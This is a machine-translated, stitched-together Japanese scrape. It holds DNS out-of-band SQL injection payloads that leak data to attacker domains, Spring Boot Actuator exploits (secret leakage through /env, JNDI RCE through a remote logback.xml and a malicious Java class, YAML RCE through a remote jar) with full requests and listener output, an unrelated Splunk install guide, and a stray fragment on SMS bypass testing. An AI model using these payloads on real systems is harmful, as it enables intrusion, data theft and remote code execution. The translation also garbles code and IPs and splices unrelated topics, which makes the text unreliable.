UNCパスを使用して、指定されたドメイン名を照会します。 DNSチャネルを使用して、DNSサーバーが受信したデータを使用してデータコンテンツをすばやく取得します。 DNSの使用には、ホストネットワークの分離を突破できる特定の利点があります。たとえば、DMZホストは外部ネットワークに直接接続することはできませんが、構成されたネットワークで到達できるDNSサーバーを使用することがよくあります。ドメイン名を再帰的に照会することにより、DNSサーバーはDNSプロトコルを介して返されたデータを取り出すことができます。 UNCパスはWindowsの下の機能であり、そのような関数はデフォルトでインストールされているLinuxの下には存在しません。

フローチャートは次のとおりです。4cbkvzq4gdy9089.png

MySQLはPDOを使用してデータベースブラインドアノテーションをリンクして、成功したかどうかを判断します(通常の注入も参照できます)

select load_file(concat( '//'、(select 2333)、 '。mysql.panokaz.exeye.io/abc'));

select hex( 'select load_file(concat(' //'、(select 2333)、'。mysql.panokaz.exeye.io/abc ');')

セット@x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F272C28553454C4543542027 7465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B; @x; execute aからaを準備します。

MySQLの使用シナリオ:adatcczo5rj9090.png国内のDNS再帰を捕まえた上位レベルのDNSサーバーは、360、Tencent、およびALIでした。このようなノードDNSサーバーがあれば、間違いなく恥ずかしがり屋のウェブサイトをたくさん手に入れるでしょう。私はそれについて考えることに少し興奮していました▽≤sqlServerは次の方法を使用できます

@s varchar(5000)、 @host varchar(5000)set @s=(host_name())set @host=convert(varchar(5000)、 @s)+'sqlserver.panokaz.exeye.io'; exec( 'master.xp_dirtree' \\ '+ @host+' \ foobar $ '' '))

SQLServerのシナリオを使用:5y01dfnf30t9091.png

0x03手動テストで遭遇した問題とソリューション

DNSキャッシュがあるため、ドメイン名を要求した後、DNSレコードがローカルマシンで生成され、再帰的に外側にクエリされることはありません。したがって、UNCパスのDNSドメイン名は同じではありません。

UNCパスの長さは長すぎることはありません。から始まる識別子'\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa最大長は128です。UNCパスの最大長は128であることがわかります

UNCパスにはスペースなどの特殊文字を含めることはできません。また、含まれている場合、DNS要求は送信されません。

sqlserverの注入を例にとると、SQLMAPで与えられたソリューションを参照してください

'; @host varchar(1024)を宣言します。

@host='rmy。'+(トップ1 master.dbo.fn_varbintohexstr(cast((isnull(name as nvarchar(4000))、 ''))、1,13)のcast(cast(cast(name as nvarchar))from master.sysdatabase not not not in(select not in)from master.sysdatabase by datisabase datsabase datsabase datsabaseの順に選択されます。 name)+'。nrz.rainism.cc';

exec( 'master.xp_dirtree' \\ '+@host+' \ cckc '') -

ドメイン名にランダムな文字列「RMY」、「NRZ」を追加して、DNSにクエリごとにキャッシュがないことを確認してください

Substring()関数を使用して、毎回特定のビット数のデータを転送します

取得したデータは、master.dbo.fn_varbintohexstr()ストアドプロシージャを使用して16を禁止しています

0x04 OOBインジェクションにSQLMAPのDNSドメインパラメーターを使用

自動化されたツールなしで、このような便利で高速な噴射方法はどうすればいいですか? SQLMAPドキュメントを注意深く読んだ学生は、-DNS-Domainのパラメーターを知っている必要があります。これは、SQLMAP統合におけるOOB注入にDNSを使用する方法です

使用方法:SQLMAPが-DNS-Domainパラメーターを使用すると、ポート53を聴きます。DNSを実行してSQLMAPを実行しているホストにデータを取得するためにデータを取得するためにDNSサーバーをDNSから取得してDNSから取得したデータを取得する必要があります。

DNSサーバーも必要であるため、2つのドメイン名が必要であり、詳細な構成は次のとおりです。

dnsポイントを解析するために、sqlmapを実行するホストIPにドメイン名ns1.xxx.com、ns2.xxx.comを構成します。ここでは、 *ワイルドカード文字を使用して、Aレコードkzi4wvlo03w9092.pngを構成します

ns1.xxx.comおよびNS2.xxx.com 3xq5dm05hyct9093.pngとして、テイクアウトデータのドメイン名のrainism.cc用ドメイン名サーバーを構成します

外部ネットワークのVPSで次のコマンドを実行しますsqlmap.py -u 'http://xoo.com/index.php?id=1*' - random-agent -dns -domain='rainism.cc' -v 3

eojjz5y4bl49094.png

TCPDUMPを使用してポート53を聴くと、返されたデータがわかります。

dctl0f0fce59095.png

元のリンクアドレス:https://MP.Weixin.QQ.com/s/NCVRK6NEB_LDV7MXDXN3VA

1。 Springboot envに *敏感な情報を取得します

Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。

クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません1049983-20230301123203473-1048483928.jpg参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501

特定の実装プロセス:

たとえば、 PIDパラメーター値を取得したい

'pid':' 10648 '、

post /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 76

eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/

次に、コンテンツを更新し、脆弱性をトリガーします

PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。

投稿/更新http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

サーバーNCがポート2444に耳を傾けると、受信されます

root@kali:/tmp#nc -lvvp 2444

[任意の] 2444で聞く.

Kali [10.20.24.191] 40960から[10.20.24.191]に接続します

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

host: 10.20.24.191:2444

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: BASIC MZGZNDY6BNVSBA==

Authorization: BASIC MZGZNDY6BNVSBA==

取得するためのbase64デコード

root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d

38346:Null

上記のPID情報と同じです

同様に、user.countryパラメーターを取得すると、手順は同じです

結果:

root@kali:/tmp#nc -lvvp 2555

[任意の] 2555で聞く.

Kali [10.20.24.191]から[10.20.24.191]に接続します。38994

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

HOST: 10.20.24.191:2555

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: Basic VVM6BNVSBA==

0、RCVD 310を送信します

取得するためのbase64デコード

root@kali:/tmp#echo vvm6bnvsba==| base64 -d

US: Null Scripting:

照会するパラメーターを入力し、NC llad5cqintr3197.pngで聴くポートを入力します

1049983-20230301123204371-1348724531.jpg

ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化5ffticqtc4w3199.png

1049983-20230301123205136-1093949527.jpg 1049983-20230301123206021-825774621.jpg

PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。

たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11

2。 springboot_actuator jndi rce

1。環境構築

git clone 3https://github.com/veracode-research/actuator-testbed

起動する

MVNインストール

または

MVN Spring-Boot:Run

コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。

キーファイルを見つけます

grep -r 'server.address' -n ./

./src/main/resources/application.properties:23360server.address=127.0.0.1

./target/classes/application.properties:2:server.address=127.0.0.1

に変更します

server.port=8090

server.address=0.0.0.0

#脆弱な構成セット0:スプリングブート1.0-1.4

#すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する

#それらを公開するために必要な構成はありません

#セーフ構成セット0:スプリングブート1.0-1.4

#management.security.enabled=true

#脆弱な構成セット1:スプリングブート1.5+

#スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する

#management.security.enabled=false

#セーフ構成セット1:スプリングブート1.5+

# 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合

#management.security.enabled=false

#脆弱な構成セット2:スプリングブート2+

#management.endpoints.web.exposure.include=*

2。再起動して起動

mvn spring-boot:run

または

/opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run

しばらく待ってください

root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090

TCP6 0 0 :8090 :*聞いて33666/java

root@kali:〜/actuator/actuator-testbed#

http://10.20.24.191:8090/y3gktuvd0nd3206.png

1049983-20230301123206803-2050467207.png

http://10.20.24.191:8090/Jolokia/List umwecg2inj53214.png

1049983-20230301123207520-1178629798.png

reloadbyurlは、リモートURL XMLファイルをロードできます

'ch.qos.logback.classic': {

'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': {

'op': {

'reloadbyurl': {

'args': [

{

'name ':' p1 '、

'Type':' java.net.url '、

'desc':' '

}

]、

'ret':' void '、

'desc':'管理のために公開された操作'

}

3.HTTP Service Stores logback.xml、exportobject.class

logback.xmlファイルコンテンツ

mwanhhuwvaa3219.png

1049983-20230301123208204-1124192519.pngConfiguration

InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/

/構成

ExportObject.java

java.io.bufferedreaderをインポートします。

java.io.inputStreamをインポートします。

java.io.inputStreamReaderをインポートします。

Public Class ExportObject {

public ExportObject()スロー例外{

process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n');

inputstream var2=var1.getinputStream();

BufferedReader var3=new BufferedReader(new inputStreamReader(var2));

文字列var4;

while((var4=var3.readline())!=null){

System.out.println(var4);

}

var1.waitfor();

var2.close();

var3.close();

var1.destroy();

}

public static void main(string [] var0)は例外をスローします{

}

}

4.rceトリガー

RMIポートを聴いてください

root@kali:〜/ldap_rmi#cat rmi.sh

Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT

root@kali:〜/ldap_rmi#./rmi.sh

* 1099にJRMPリスナーを開く

/10.20.24.191:43878から接続があります

メッセージを読む.

rmi.lookup call for exportobject 2です

http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信

接続を閉じます

ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。

サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http:

myua4gfcyvq3226.png

1049983-20230301123208943-696382667.png

5。コマンドの実行は成功しました

root@kali:/var/www/html#ls/tmp/j*

/TMP/JAS502N

root@kali:/var/www/html#

iii。 YML RCE脆弱性

スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い

このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ:

! javax.script.scriptenginemanager [

! java.net.urlclassloader [[[[

! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar']

]]

]

1.yaml_payload.jar製造

コード3https://github.com/artsploit/yaml-payload

1049983-20230301123209714-1255248784.jpgawesomescriptenginefactory.javaコードの一部

javax.script.scriptengineをインポートします。

javax.script.scriptengineFactoryをインポートします。

java.io.ioexceptionをインポートします。

java.util.listをインポートします。

Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{

public wesomescriptengineFactory(){

試す {

runtime.getRuntime()。exec( 'touch /tmp /success');

} catch(ioException e){

e.printstacktrace();

}

}

ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java

実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。

ymal_payload.jar \ services \ javax.script.scriptengineFactory

serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ

コンテンツ:Artsploit.awesomescriptengineFactory

JARファイルはHTTPサーバーに存在します

http://10.20.24.191:8090/ymal_payload.jar

2.spring.cloud.bootstrap.location

をセットします

Sprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

1049983-20230301123210372-433777415.pngpost /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 73

spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml

3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました

1049983-20230301123211028-1986776549.pngPOST /更新HTTP /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

4.RCE実行は成功しました

1049983-20230301123211641-785428136.jpgROOT@kali:/var/www/html#ls/tmp/suck*

/TMP/成功

root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce

0x00最初にspunkを知っている

1。会社:

American Splunk Companyは2004年に設立され、2012年にNasdaqにリストされました。これは最初のビッグデータリスト会社であり、多数の賞と栄誉を獲得しています。米国サンフランシスコに本社を置くロンドンは国際本部で、香港にはアジア太平洋サポートセンターがあり、上海には最初の海外R&Dセンターがあります。現在、中国で最大の顧客ライセンスは800GB/日です。製品:Splunk Enterprise [Enterpriseバージョン]、Splunk Free [Free Version]、Splunk Cloud、Splunk Hunk [ビッグデータ分析プラットフォーム]、Splunk Apps [Enterpriseバージョンベースのプラグイン]など。

2。製品:

Splunk Enterprise、Enterpriseバージョン、B/Sアーキテクチャ、ライセンス、つまり、毎日インデックスされているデータの量。

(20GBライセンスを購入すると、デフォルトでは毎日20gのデータをインデックスできます。永久に1回購入できます。トライアルバージョンを使用すると、試用期間が終了したら無料版に切り替えます)

Splunk Free、無料版、最大データインデックスは1日あたり500MBで、ほとんどのエンタープライズバージョン関数を使用できます。

(無料版には、認証、分散検索、クラスタリングなどなどの関数がありません。)

ユニバーサルフォワーダーであるSplunk Universal Forwarderは、Splunkが提供するデータ収集コンポーネントです。無料で、データソース側に展開され、UIインターフェイスがなく、非常に軽量で、リソースがほとんどありません。

(フォワーダーはライセンスなしで無料です。エンタープライズバージョンに専念しています。たとえば、データソースに展開されます。たとえば、Webサーバーに展開し、Webログを監視し、生成時に1つのログを転送し、転送を転送し、通常、CLIコマンドを変更または使用するように構成ファイルを構成します。

iii。 Splunkとは?

マシンデータのフルテキスト検索エンジン。

(検索エンジンを使用してデータを処理します。大規模なデータ処理をサポートします)

準リアルタイムログ処理プラットフォーム。

時系列ベースのインデクサー。

ビッグデータ分析プラットフォーム。

統合されたプラットフォーム:データ収集と保存- 分析- 視覚化。

ユニバーサル検索エンジン、データソースまたはデータ形式はありません。

特許取得済みの検索言語SPL(検索処理言語)を提供します。これは、SQL言語と構文的に似ています

Splunkアプリはより多くの機能を提供します

(オペレーティングシステムとCiscoネットワークデバイスの場合、Spunkは専用のアプリを提供し、データソースにアクセスすると直感的なダッシュボードを見ることができます。)

iv。マシンデータとは?

マシンデータとは、デバイスとソフトウェアによって生成されたログデータ、パフォーマンスデータ、およびネットワークデータパケットを指します。これらのデータはすべて非構造化データです。これらのデータをSpunkに収集できます。 Splunkは、インデックス、調査、監視、視覚化などを行うことができます。

1049983-20211217104616673-2132087087.jpg

v。 Splunkコンポーネント

インデクサー:インデクサーは、データのインデックスを作成するために使用されるSplunk Enterpriseインスタンスです。インデクサーは、生データをイベントに変換し、イベントをインデックス(インデックス)に保存します。インデクサーは、検索要求に応じてインデックスデータを検索します。

検索ヘッダー:分散検索環境では、検索ヘッダーは検索管理機能を処理し、検索リクエストを検索ノードのグループにガイドし、結果をユーザーにマージするSplunk Enterpriseインスタンスです。インスタンスが検索のみでインデックスが表示されない場合、通常は専用の検索ヘッダーと呼ばれます。

検索ノード:分散検索環境では、検索ノードはインデックスを作成し、検索ヘッダーから検索要求を完了するスプランクです

エンタープライズインスタンス。

フォワーダー:フォワーダーは、データを別のSplunk Enterpriseインスタンス(インデクサーまたは別の転送者)またはサードパーティシステムに転送するSplunk Enterpriseインスタンスです。

受信機:レシーバーは、フォワーダーからデータを受信するように構成されたSplunk Enterpriseインスタンスです。レシーバーはインデクサーまたは別のリピーターです。

アプリケーション:アプリケーションは、Splunkを拡張する構成、知識オブジェクト、顧客設計ビューとダッシュボードのコレクションです

UNIXやWindowsシステム管理者、ネットワークセキュリティの専門家、ウェブサイトマネージャー、ビジネスアナリストなど、組織チームの特定のニーズに合わせてエンタープライズ環境。単一のSplunk Enterpriseのインストールは、複数のアプリケーションを同時に実行できます。

vi。 Splunk分散アーキテクチャ

1049983-20211217104617369-1751130540.jpg

上の写真に示すように:

1. 3つのレイヤーに分けることができます。最初のレイヤーはデータソースです。アプリケーションサーバー、サービスバス、ネットワーク機器、ファイアウォールなど。

2。このデータを収集する場合、たとえば、アプリケーションサーバーはSpunk Forwerderをインストールでき、ファイアウォールのデータはTCP \ Updポートを介してSplunkの中間層に送信できます。 Splunkの中間層は、Spunkのインデクサー(受信機)と呼ばれ、データはこの層に保存されます。

3。ユーザーは検索を使用します

ヘッド検索インスタンス、検索ヘッドは各インデクサーに検索要求を送信します。次に、結果を検索ヘッドに収集し、最終的に表示するためにユーザーに提示します。

4.データソースのフォワーダーは、データを複数の勇気インスタンスに転送し、フォワーダーは自動ロードバランシングを実行します。

7。汎用トランスポンダー

リピーターは、重い、軽く、普遍的な3つのタイプに分かれています。

最も一般的に使用されるものは、他の2つのカテゴリではほとんど使用されないユニバーサルフォワーダーです。

完全なSplunk Enterpriseインスタンスと比較して、汎用転送の唯一の目的はデータを転送することです。完全なSplunk Enterpriseインスタンスとは異なり、ユニバーサルフォワーダーを使用してデータをインデックスまたは検索することはできません。

より高いパフォーマンスとメモリのフットプリントを低くするには、いくつかの制限があります。

ユニバーサルフォワーダーには、検索、インデックス、またはアラーム機能がありません。

汎用のフォワーダーはデータを解析しません。

汎用転送者は、Syslogを介してデータを出力しません。

フルスプランクエンタープライズとは異なり、ユニバーサルフォワーダーにはバンドルされたPythonバージョンは含まれていません。

8。さまざまなアプリケーションシナリオ

1049983-20211217104617815-258405039.jpg

0x01 LinuxにSplunkをインストールします

1。構成時間:

設定可能な時間

エンタープライズ内でNTPサーバーを構築し、すべての関連デバイスをサーバーに向けることをお勧めします。

(各マシンの時間が一貫性がない場合、問題が発生します。したがって、すべてのデバイスの時間がNTPサーバーに向けられ、すべてのデバイスを時間内に統合できるように、NTPサーバーを構築することをお勧めします)

2。設置準備

このインストールは、Centos 6.7、64ビットに基づいています

64ビット環境に展開することをお勧めします

Splunk Enterprise:

Spunk-6.4.2-00F5BB3FA822-LINUX-X86_64.TGZ

Splunk Universal Repeater :

SplunkForwarder-6.4.2-00F5BB3FA822-LINUX-X86_64.TGZ

今回は、ルートユーザーとしてインストールされます(非ルートを使用できます)

三つ、

インストールステップ1)、TGZの圧縮パッケージをダウンロードします。

wget -chttps://download.splunk.com/products/splunk/releases/6.5.1/linux/splunk-6.5.1-f74036626f0c-linux-x86_64.tgz;

2)減圧:#tar

-ZXVF SPUNK-6.5.1-F74036626F0C-LINUX-X86_64.TGZ -C /OPT(デフォルトでは /OPTディレクトリに減圧されます)

1049983-20211217104618434-1161686613.png

3)スパンクの実行可能なプログラムは、/opt/splunk/bin/の下に配置されます。プログラムを開始するときは、Spunkを実行する必要があります。 Spunkコマンドのパラメーターは次のとおりです。

#note:次のように、次のコマンドCLIコマンドを呼び出します。一般的なフォワーダーとスパンクコマンドの両方を次のように実行できます

./splunk

//Spankを開始します

-accept-license //自動的にライセンスを受け取ります

再起動//スパンクを再起動します

ステータス//スパンクステータスを確認します

バージョン//スパンクバージョンを表示します

開始するときは、–Accept-licenseを追加することを忘れないでください。そうすれば、インストールが簡単になります。

1049983-20211217104618969-826035548.png

4)Spunkがインストールされた後、Splunk Webポート8000を開いてください。SplunkDポート8089は管理ポートです。インストール後、ブラウザのSplunk Port 8000のWebインターフェイスにアクセスできます。

1049983-20211217104619604-1540372863.jpg

注:外部コンピューターがアクセスできない場合。 iptablesサービスを閉じるか、ポリシーにポートを追加する必要があります

#Services IPTABLESTOP [他のUNIXシステムはファイアウォールをシャットダウンします]

Systemctl stop firewalld.service [centos 7の下でファイアウォールを停止]

Splunkアドレスは、http://192.168.199.205:8000です。 Spunkを入力するデフォルトの管理者は次のとおりです。管理者とパスワードはchangemeです。パスワードは初めてログインすることで変更されます

Spunk Boot ./splunkを構成します

Boot-startを有効にする//このようにして、Splunkサービスが開始されるたびに、

1049983-20211217104620029-1728341147.png

#上記のコマンドを介して勇気のステータスとバージョン情報を確認してください。/splunkステータス

1049983-20211217104620415-2019433658.png

#viewプロセス関連情報:ps -f | Grep Spluk

1049983-20211217104620947-739310990.png

iv。 Splunkのアンインストール

./splunk stop //sprunkを停止します

./rm – rf/opt/splunk

//Splunkインストールディレクトリを削除します

アンインストールするときは注意して、データのバックアップに注意を払ってください

5。SplunkUniversal Forwerder

をインストールします

1)、汎用転送業者をOPTディレクトリに減圧します。 Splunk Forwarderのインストール方法は、Spunkのメソッドと同じですが、UIインターフェイスはありません。

Tar ZXVF

splumkforwarder-6.4.2-00F5BB3FA822-LINUX-X86_64.TGZ -C /OPT

2)SplunkForwarderのビンディレクトリに切り替えて、一般的な転送者を起動します

cd/opt/splunkforwarder/bin///一般的な転送者の実行可能ファイルプログラムディレクトリに切り替えます

./splunk start –accept-license //一般的な転送者を起動します

注:Splumk Webと一般的な転送者が同じサーバーにインストールされ、一般的な転送者の管理ポートも8090である場合、Splumkが占有するように求められます。次のように、フォワーダー管理ポートを変更するには、「はい」を選択します。

1049983-20211217104621722-603969532.png

CLIコマンドを介してSplunkdのポートを表示できます。

1049983-20211217104622123-1150049921.png

1049983-20211217104622582-881307486.png

3)一般的なフォワーダーのパスワードを変更します

デフォルトのパスワード:admin/changeme

パスワードを次のように変更します:役割は役割であり、認証は検証の元のパスワードです。

1049983-20211217104622962-283785011.png

0x02 WindowsにSplunkをインストールします

1。インストール準備:

#build an nptサーバー

同じ時間の構成

エンタープライズ内でNTPサーバーを構築し、すべての関連デバイスをサーバーに向けることをお勧めします。

#ユーザーの選択を選択します

ローカルシステムユーザー、この方法は今回採用されています

ドメインユーザー、より複雑な、ドキュメントを参照してください

#installation環境

このインストールは、Windows 7、64ビットに基づいています

64ビット環境に展開することをお勧めします

Splunk Enterprise:

Splunk-6.4.2-00F5BB3FA822-X64-RELEASE.msi

Splunk Universal Repeater :

SpunkForWarder-6.4.2-00F5BB3FA822-X64-RELEASE.MSI

二、

インストール手順:GUIのインストールは比較的簡単で、ここでは実証されません。

Splunkは、デフォルトで「C: \プログラムにインストールされています

ファイル\ splunk "

インストール後、2つのサービスが登録され、ディスプレイ名は次のとおりです。SPLUNKDサービス、SPPLUNKWEB(レガシー目的のみ)

1049983-20211217104623557-2109335727.jpg

開始:Splunk Start

クローズ:スプラン停止

再起動:Splunk Restart

ステータスの表示:Splunkステータス

バージョンを表示:Splunkバージョン

Windows DOSコマンドを介して:

ネットスタートSplunkd

ネットストップSplunkd

サービスパネルを通して(services.msc)

1049983-20211217104623923-1481690476.png

#splunk Webのポートコマンドを確認してください。

Splunk Show Webポート

1049983-20211217104624347-265319833.png

iii。スパンクのアンインストール

上記の説明に従って、spunkdを停止します。

Windowsコントロールパネルのアンインストーラーを介してアンインストールします。

1049983-20211217104624696-1557887146.jpg

4、

Splunk Universal Forwarder GUIのインストールは比較的簡単です。選択:オプションをカスタマイズします。次のようにSSL証明書を選択できます。

1049983-20211217104625240-1584236293.jpg

#セカンドインストーラーは次のとおりです。

ローカルシステム:ローカルシステムユーザー

ドメインアカウント:ドメインアカウント

#ログオプションを収集するかどうかを選択します(Windows

イベントログ)。など:アプリケーションログ、セキュリティログ、システムログ、転送イベントログ、およびインストールログ。

#Windowsを収集するかどうかを選択します

パフォーマンスモニター。など:CPU、メモリ、ディスク、ネットワークステータスなど。

#note:これらのログの収集は、Microsoft WindowsプラグインのSplunkアドオンであり、次のステップにインストールできます。

1049983-20211217104625685-954323104.jpg

収集されたログはSplunk EnterpriseバージョンのWineVentlogのインデックスに転送されるため、Splunk Enterpriseバージョンはインデックスを作成しないため、作成する必要がある場合は、手動で作成するか、Splunkアプリをインストールします。でインデックスを作成します:

Splunk Web→設定→インデックス→新しいインデックスを入力する

1049983-20211217104626087-225598907.png

次のステップ(インデクサーの受信)は、レシーバーをセットアップすることです。つまり、上記のシステムログが転送されるIPおよびポートが転送されます。 Spluk Enterpriseバージョンはローカルであるため、ここにLocalHostを書き、10001ポートがこれらのログをSplunkエンティティに転送できるようにします。

1049983-20211217104626542-1621099451.jpg

#next in Splunk

エンタープライズで受信を構成します。

Splunk Web→[設定]→[転送]→[受信]→[受信]→[追加]→このポートを聞く:10001(受信ポートが設定されている)

1049983-20211217104626884-842200250.png

#スプランクCLIコマンドを使用してリスニングポートを表示します

Splunkディスプレイリッスン

1049983-20211217104627234-695735886.png

もちろん、Splunk CLIコマンドを使用してリスニングポートを増やすこともできます。

Splunk Enableリッスン10002

この時点で、WineVentlogインデックスで受信したデータを表示できます

1049983-20211217104627650-1715032913.png

この時点で、システム独自のアプリ(検索レポート)は、SPL言語を使用してインデックスイベントを検索できます。

1049983-20211217104628148-1248572639.png

#note:Splunk EnterpriseとGeneral Forwarderの管理ポート8090との間のポート競合は、Windowsの下で自動的に解決されます。

0x03 sprunk sprunk intestrationの後の構成

1。 Splunk

のサーバー名を構成します

SETTINGS-SERVER SETTINGS-GENERAL SETTINGS

デフォルトはサーバーホスト名です

コマンドラインを介して変更することもできます

./splunk Set Servername Server

当事者Aのビジネスをテストしたり、SRCやその他のサービスを掘ったりするとき、SMS検証が送信される場所に遭遇することがよくあります。考えることができるのは、ユーザーによるログイン、SMS爆撃、およびパスワードを変更するユーザーなどの論理的な脆弱性です。また、単純な脆弱性には、明確な思考分析が必要であり、いくつかのSMSを使用して複数のバイパスケースを爆撃して共有し、リスクと低リスクを使用してそれらを収集します。 